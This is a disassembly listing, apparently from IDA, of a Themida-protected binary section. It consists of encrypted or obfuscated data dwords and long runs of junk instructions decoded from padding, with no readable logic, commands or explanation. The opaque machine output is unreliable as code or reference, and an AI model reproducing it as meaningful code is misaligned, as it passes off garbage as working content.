		dd 198F0F79h, 60000000h, 0CE9h,	0DFE81200h, 34C9F734h
		dd 0B38C3109h, 8C0F7Bh,	61000000h, 59C28B50h, 0E9CF8B66h
		dd 0Bh,	0DE4F3A05h, 0E5734561h,	0E899303Bh, 11h, 0C72C8AD9h
		dd 81CFBE3h, 5B1BF9C3h,	82DCBB2Ah, 58C78B74h, 5E576060h
		dd 0CE8061F5h, 84B06144h, 0C281F48Ah, 20C77717h, 0DC9ABF60h
		dd 8B533EDEh, 60615AC1h, 0FE9h,	0C9678500h, 92FC9744h
		dd 7BBD70EEh, 596E0BB0h, 8B0FF960h, 0
		dd 8B666161h, 0D0D0BAC2h, 8A0F213Ah, 5,	85CB74BEh, 6653B544h
		dd 0F7C90BAh, 84h, 0BE900h, 0D2450000h,	18DC3984h, 25B494E9h
		dd 13E9DCh, 16430000h, 494A65B3h, 67AE5D0h, 70AB3802h
		dd 9E2BA430h, 89B8568Eh, 5E00837Ch, 0AFC98166h,	0E6BA66B2h
		dd 0BBE60B6h, 0B125C7CEh, 0DE861A8h, 73000000h,	0F1A4C69Eh
		dd 8144D31Bh, 58EBA920h, 0A291EB81h, 815E6F82h,	63F680DEh
		dd 2890F38h, 0B6000000h, 66E58AA0h, 0F9F5F78Bh,	8E8h, 63526000h
		dd 45FAD526h, 0AE91Eh, 0ECE10000h, 110B099Eh, 0F1949409h
		dd 0FFBF0F5Eh, 0CE9h, 0B4296200h, 0B952A6F8h, 5D62D3h
		dd 0DE05BEF9h, 10E9196Ch, 8000000h, 6B29C3B8h, 0D1E7368Ah
		dd 0FE7BD3E0h, 0E9406561h, 11h,	0BCF13FBDh, 0F875DBDDh
		dd 2EE38C81h, 2B1E5C49h, 0F3816698h, 0F58A20A7h, 0E9FFE680h
		dd 5, 8AA2361Fh, 0BF6660C7h, 12E89F89h,	7C000000h, 0DDCAFB61h
		dd 0F6B71A89h, 0E36A92C0h, 199199ACh, 0C1BF0F52h, 8B666158h
		dd 8B6660D9h, 61CB8BD9h, 18B96660h, 6164B567h, 58A0Fh
		dd 26BE0000h, 6008AA5Fh, 0FD7B70Fh, 8Fh, 8B666100h, 14E9C8h
		dd 8D30000h, 3AD078A0h,	0D7163F6Ch, 0C72EB997h,	6EAD0BC5h
		dd 8B66CACBh, 8166F8F2h, 81BFD0E2h, 0F235ACE9h,	4962B85Fh
		dd 8A0F3DFFh, 5, 5B50F860h, 66C88B61h, 6660C78Bh, 0EE9D08Bh
		dd 33000000h, 8E637AF0h, 4685336Ch, 0C03821E2h,	8B6661C4h
		dd 84BF66F9h, 0E99AB94Ch, 8B666AD7h, 13E9D3h, 0CEA00000h
		dd 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 9E902h
		dd 0DA0C0000h, 28413722h, 53D15AFAh, 8B58DE8Bh,	0C8BF0FF2h
		dd 7E9h, 524A6400h, 0F0FC3D55h,	0FE9h, 8D2CF800h, 0EAC323ACh
		dd 62DC519h, 0BC65D5B3h, 68D0Fh, 0DE810000h, 19511577h
		dd 13840Fh, 0EE90000h, 48000000h, 96A85B41h, 0FAD9DC88h
		dd 64EC2771h, 98CF809Ch, 0BE66CB8Bh, 11E90374h,	0A9000000h
		dd 1139832Fh, 47D1648Fh, 5F4A2B40h, 0DB7AF828h,	0B866C5B2h
		dd 11E995DEh, 8D000000h, 0ECC46E3Ch, 5D13B0F3h,	0DA0D2587h
		dd 0B2EFACF9h, 148F0Fh,	0FE90000h, 0EA000000h, 0B1084A1Ah
		dd 0E747BEAEh, 5C5462A8h, 8D0F9EBBh, 0
		dd 0BE8h, 7E623A00h, 9F5F17B4h,	0BE5DC8CCh, 8DC88160h
		dd 0FC3E7A36h, 2B75F61h, 9D51DF81h, 0C5B75CFAh,	0CA8B6660h
		dd 6840Fh, 890F0000h, 0
		dd 8B0F5361h, 4, 0F902B966h, 0CBBA6658h, 6650B695h, 10EFD981h
		dd 10E8h, 8A1AAA00h, 9123DA2Fh,	76575DE3h, 0F458B092h
		dd 8B0F70h, 5A000000h, 271FE181h, 12E8525Bh, 0C5000000h
		dd 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h, 0F7815BB8h
		dd 38AB8E67h, 4840Fh, 0BA660000h, 0BF0F045Ch, 870F53F6h
		dd 2, 0FC5BF98Bh, 38C0Fh, 0B70F0000h, 0D9DA80FBh, 816658B2h
		dd 0B4873DD3h, 0DE918h,	0A3170000h, 396DE772h, 887CCE4Bh
		dd 57626E72h, 1DB0B966h, 0FBC1815Fh, 8B2B78AEh,	92DA81C7h
		dd 8B46A363h, 0C88B66DAh, 3800Fh, 0B70F0000h, 6E9F7h, 41150000h
		dd 929CC49Eh, 11E8h, 3F230800h,	9EBC5CC7h, 0C6B7EA59h
		dd 92B15B3h, 5AF5B93Eh,	44DB8166h, 0CF8166F1h, 810F4121h
		dd 9, 3860Fh, 0CC800000h, 6860F9Eh, 81000000h, 2092B4EAh
		dd 0A1CF8041h, 5810Fh, 2DBF0000h, 664F3CF1h, 0AE9DE8Bh
		dd 34000000h, 3E4396E5h, 0A8573F33h, 7DB96672h,	0F08B669Eh
		dd 0E9DA8B66h, 12h, 0A1AEEA46h,	0EF7C3DEh, 0A1B9702Ah
		dd 0C9222CF7h, 0BA60D549h, 5854A753h, 919425BEh, 810F6148h
		dd 1Dh,	13E8h, 1D987E00h, 1B998695h, 49E75E3Bh,	865CD10Bh
		dd 9D3E0532h, 0A913BB66h, 0C6B1605Eh, 5A0FBE66h, 9E85661h
		dd 0E3000000h, 19897A56h, 8B6E6DDAh, 5F5AFE8Ah,	6E9h, 88621400h
		dd 0FCD0B5E8h, 0EE9h, 7023AB00h, 38E267D8h, 62E760Bh, 80AD707Eh
		dd 0BF0FF3EAh, 6E9D2h, 56840000h, 316A98A5h, 38D0Fh, 0DB800000h
		dd 7E9F0h, 171D0000h, 0A28C0A0Eh, 13E8B8h, 0B61A0000h
		dd 0DA5E6486h, 37AAC6ACh, 0B4655D39h, 22040714h, 5FDF8BB1h
		dd 11E9h, 18D64000h, 8D2F53D3h,	1972FFDh, 866BC567h, 8F0F1607h
		dd 5, 0AC78166h, 0DBB70F6Eh, 6E9h, 0DC347600h, 806972C5h
		dd 0EE80BBC1h, 13E95Fh,	4A810000h, 359783CDh, 0E63F7C33h
		dd 2F28BCC6h, 0A07C26C8h, 0A9BB66ACh, 188C0F2Bh, 0E8000000h
		dd 12h,	22732C56h, 53849C16h, 0A573854Eh, 9FBE3693h, 66591855h
		dd 60D8D2BFh, 0F52A0B1h, 615EF0BFh, 5BD9CB81h, 0B70F3E9Ah
		dd 860FCBh, 66000000h, 8B15EAB8h, 3820FD7h, 0F000000h
		dd 8B66F0BFh, 14E9FEh, 26E60000h, 0BA84E532h, 0E3296BE6h
		dd 60F61735h, 9FA87A3Fh, 0CA8B0C9Fh, 9E9h, 7E4E2A00h, 4822E508h
		dd 8BF86C30h, 0C7B70FCBh, 6E9h,	57156700h, 51E1577Eh, 1FC2F7BEh
		dd 0EA805868h, 8B0F607Eh, 3, 0FD1B70Fh,	583h, 9B33BB00h
		dd 0B46122EFh, 0DE914h,	3E1F0000h, 99AED277h, 8EBF973h
		dd 0F0D09C8h, 880FD3BFh, 2, 0DA8BF78Bh,	66CFBF0Fh, 0BE9F88Bh
		dd 53000000h, 7C4C45E0h, 77032C06h, 8A519181h, 8B6658CAh
		dd 4482BFF9h, 850F7643h, 0Ah, 5E9h, 0ADD47700h,	0BE96ED1h
		dd 8D000000h, 70D8532Eh, 6E81CA67h, 88BF1D37h, 56531176h
		dd 6E1BE66h, 0D88B665Fh, 0A44A8CBBh, 850F7Ch, 66000000h
		dd 66C177BFh, 6653D88Bh, 0F203E681h, 8865B959h,	0C38A3BB4h
		dd 0BE8h, 8F8D6100h, 0A00D3B00h, 29C4F1D7h, 6DBB6658h
		dd 8E91Bh, 5CFB0000h, 7E2E410h,	0D281D2F2h, 6031BDAAh
		dd 68D0F60h, 81000000h,	0CE1F2BC2h, 0C9816628h,	816173F3h
		dd 78BEBCD8h, 8E927h, 33160000h, 6617E597h, 8E92678h, 77000000h
		dd 467290D1h, 0FA98751h, 800FF2BFh, 5, 0E9E78166h, 23BB6663h
		dd 0C681667Dh, 3BBBB723h, 8B2B6201h, 0B9F88BC1h, 1EC1E68Fh
		dd 5267E580h, 12A2FBB9h, 8B0F5822h, 5, 0F3F18166h, 5050F89Ah
		dd 5FC6B70Fh, 10820F5Ah, 0E9000000h, 0Bh, 0EFC6AB36h, 0AE296CECh
		dd 816487E6h, 0B98AB2D7h, 41B9664Fh, 12E9F8EAh,	0A2000000h
		dd 31A7A57Fh, 664492E2h, 5FD54D9Fh, 197A46CDh, 0E2816675h
		dd 800FF480h, 3, 0B0F1BF0Fh, 9E8B7h, 90CA0000h,	0A47804D5h
		dd 0E876E8F3h, 5, 61C33025h, 820FF0h, 5E000000h, 0F78B6658h
		dd 14890Fh, 860F0000h, 0Eh, 9E9h, 0DC55EB00h, 2F884F14h
		dd 13E97AA8h, 8D000000h, 0D96B3666h, 323E60AFh,	537B966Dh
		dd 17810597h, 880F3962h, 4, 5A5F5151h, 2820F53h, 0B6000000h
		dd 806059F3h, 0BA6625F5h, 66612329h, 8BB457B9h,	0DEBF0FD8h
		dd 38D0Fh, 0B70F0000h, 5E9FAh, 0F6880000h, 66A90FC3h, 937EC381h
		dd 0E181FCFCh, 5B7B9D7Dh, 2BD78166h, 0CB81661Bh, 8B661F43h
		dd 0FB8BFCCEh, 0F75F580h, 28Ch,	0BFD98B00h, 0E956E5Ch
		dd 0B4E08166h, 0C8BF0FE0h, 0EE8h, 0F470AF00h, 822D09A8h
		dd 66C935Bh, 6666549Ch,	8A58C28Bh, 0CCE81F3h, 0BB3569CFh
		dd 13C22BE1h, 20E78166h, 0D08B6613h, 296A4FBEh,	0BE979h
		dd 5E640000h, 0AAC6ACDAh, 655D3937h, 0F1B70FB4h, 66F1BF0Fh
		dd 66D7F8B9h, 0A3F8CB81h, 58F0F60h, 0B8000000h,	5D04D7Ah
		dd 0E9615856h, 9, 0AB009F03h, 9033A958h, 5E1BB9C4h, 820F4004h
		dd 5, 7D7951BAh, 8C0F6021h, 6, 860Fh, 4BBE0000h, 61423264h
		dd 0D62FFBEh, 0C68BF85Ah, 5800Fh, 81660000h, 0BBEA7DC6h
		dd 42D17A9Ch, 0FD38B66h, 889h, 28E0F00h, 60000000h, 0E2816661h
		dd 0B866624Dh, 0F78BACC3h, 50FEB70Fh, 9BC98166h, 81665F4Ch
		dd 57591ADEh, 0F5FC18Bh, 48Fh, 8AB86600h, 1119BA41h, 81562EF3h
		dd 0D70A06DEh, 0A3BE5959h, 0E9788486h, 5, 30515947h, 10E95Fh
		dd 21C00000h, 0B45DAEAEh, 0BC24248Ch, 6F6B6C06h, 5F5219CAh
		dd 610CB966h, 1800Fh, 0B1F80000h, 3820FCDh, 66000000h
		dd 0FF9D08Bh, 180h, 8E0FF800h, 5, 75D007B8h, 5E96Ch, 0C7460000h
		dd 8A46196Dh, 66CE8BDCh, 8B3683B8h, 66B866C2h, 4AB2BBDBh
		dd 0F60049Eh, 382h, 0C38B6600h,	0CA98BA66h, 0CE961h, 7C230000h
		dd 0D9B0198Fh, 480FDC76h, 0C4802C77h, 0DB816697h, 0B9668D76h
		dd 8B66EA47h, 0DA8B66F9h, 6830F50h, 0F000000h, 87h, 13E85F00h
		dd 0BD000000h, 62E3A099h, 0A6DE7A4Dh, 9424068h,	4B6A8AE7h
		dd 13E94721h, 34000000h, 6584FE54h, 0C5E47935h,	1DCF310Ah
		dd 4FF78A32h, 8B5E0855h, 11E8DAh, 24F40000h, 0B7E2348Ch
		dd 0C661414Eh, 99221C35h, 0E833E3FFh, 14h, 776B3423h, 275BB679h
		dd 0F8E7D7A6h, 0CD6BBAE3h, 0A906F31Ah, 36AF31BAh, 0F5E5B25h
		dd 38Ah, 0C2B70F00h, 0CE8h, 6610CE00h, 7E98C993h, 2F0F9912h
		dd 59F28B09h, 81F0BF0Fh, 9F8644F1h, 0E9F8F54Ah,	8, 0FE15DCA4h
		dd 0A06BEF5Bh, 14E9F560h, 0A9000000h, 0F820EAB8h, 2A027882h
		dd 0A8BE291Ch, 0C2131F23h, 613FDDB8h, 5880Fh, 0F530000h
		dd 665BDFB7h, 0E969AEBEh, 10h, 0AA0B8CA9h, 0A8D2A15Ah
		dd 1D149AA7h, 1F2D54B9h, 0FE8h,	9F7AF400h, 4C2A5271h, 7B33BADBh
		dd 3CD4881Eh, 8B595DB2h, 81DE8BFAh, 8ACB9ADAh, 0EFEA815Ah
		dd 0E973530Ah, 14h, 7E948BA7h, 8FC029F6h, 7FCF439Dh, 0D3CFC748h
		dd 3A0AE4B8h, 1800Fh, 0B6F80000h, 0DF8166E7h, 0FF5ED35h
		dd 28Ch, 5707B700h, 56C38A59h, 28E0Fh, 61600000h, 2810F59h
		dd 8B000000h
		dd 0F18160D7h, 0CC8EBACh, 0F38B6653h, 10E9615Bh, 0A7000000h
		dd 890EB4C7h, 0EC67A255h, 9D39F7A4h, 0E900F2DDh, 0Ch, 0CA9E4FFAh
		dd 69AE62h, 6785FA15h, 8B600EB0h, 0DF8166CFh, 0F61D047h
		dd 850FCBBFh, 3, 0FCF78B66h, 0BB90DF80h, 46018D97h, 8173D480h
		dd 21DFC8D9h, 2EC88112h, 667262D5h, 8BA401B8h, 6056F9FAh
		dd 2D88166h, 8C0FD3h, 61000000h, 98BA665Ah, 0D9816604h
		dd 0DD80DF13h, 0DFBF0F7Ah, 0FE8h, 9DE72200h, 89037E6Bh
		dd 0E812A730h, 0C9F734DFh, 5FF18B66h, 3850Fh, 0F7800000h
		dd 10E93Dh, 0B3870000h,	0C867CE04h, 8179B86Eh, 33B47A03h
		dd 0CA8BA14Dh, 0AE8h, 0E90BA100h, 61C65535h, 6097241Dh
		dd 860F9CB5h, 0
		dd 0D3815E61h, 232C1466h, 0BE8h, 0D1122600h, 0A1DCF065h
		dd 1121EDBCh, 0E95833B5h, 10h, 4FC81E3Bh, 97AD6AFCh, 2DB35EAFh
		dd 0E1931E14h, 53EA8A60h, 0D001BE66h, 0BF0F615Bh, 0DE9CAh
		dd 0E1560000h, 35235E9Fh, 0E0029E57h, 532BC81Ah, 0BE8h
		dd 5A068200h, 2D019D95h, 0CAA85FCAh, 9E8h, 0F0075000h
		dd 750E44Eh, 5F5A4EF0h,	90BE665Ah, 66C78A2Bh, 3889DE81h
		dd 8AC0DE80h, 0B456F8FEh, 12E95F97h, 0BD000000h, 8F624516h
		dd 0B2A4892Fh, 0D7486F99h, 484FD4C9h, 0EE937h, 0C2550000h
		dd 571CF8DAh, 74B007Fh,	2D21B105h, 0AE9h, 0C4736E00h, 823B5FD3h
		dd 0F9BDEE9h, 88Bh, 28D0F00h, 56000000h, 870F59h, 57000000h
		dd 0F870Fh, 0AE90000h, 30000000h, 9E5B5FB3h, 193AB7BEh
		dd 3BBF59B5h, 0E818CD83h, 8, 615DDDB6h,	1248C48Ah, 48D0Fh
		dd 0BB660000h, 0F59D3C1h, 28Ah,	6697B000h, 666538B8h, 54F0DE81h
		dd 6784B960h, 8B501772h, 45615EF2h, 2Bh	dup(481D3785h)
		dd 0AD1D3785h, 208h dup(0AF0289F7h)
dword_5B7974	dd 0AF0289F7h		; DATA XREF: Themida_:00542C96r
					; Themida_:00542E2Fr
; ---------------------------------------------------------------------------
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h


loc_5B7E32:				; DATA XREF: Themida_:loc_53FEBCr
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
		test	dword ptr [ecx-760850FEh], 89F7AF02h
		add	ch, [edi-50FD7609h]
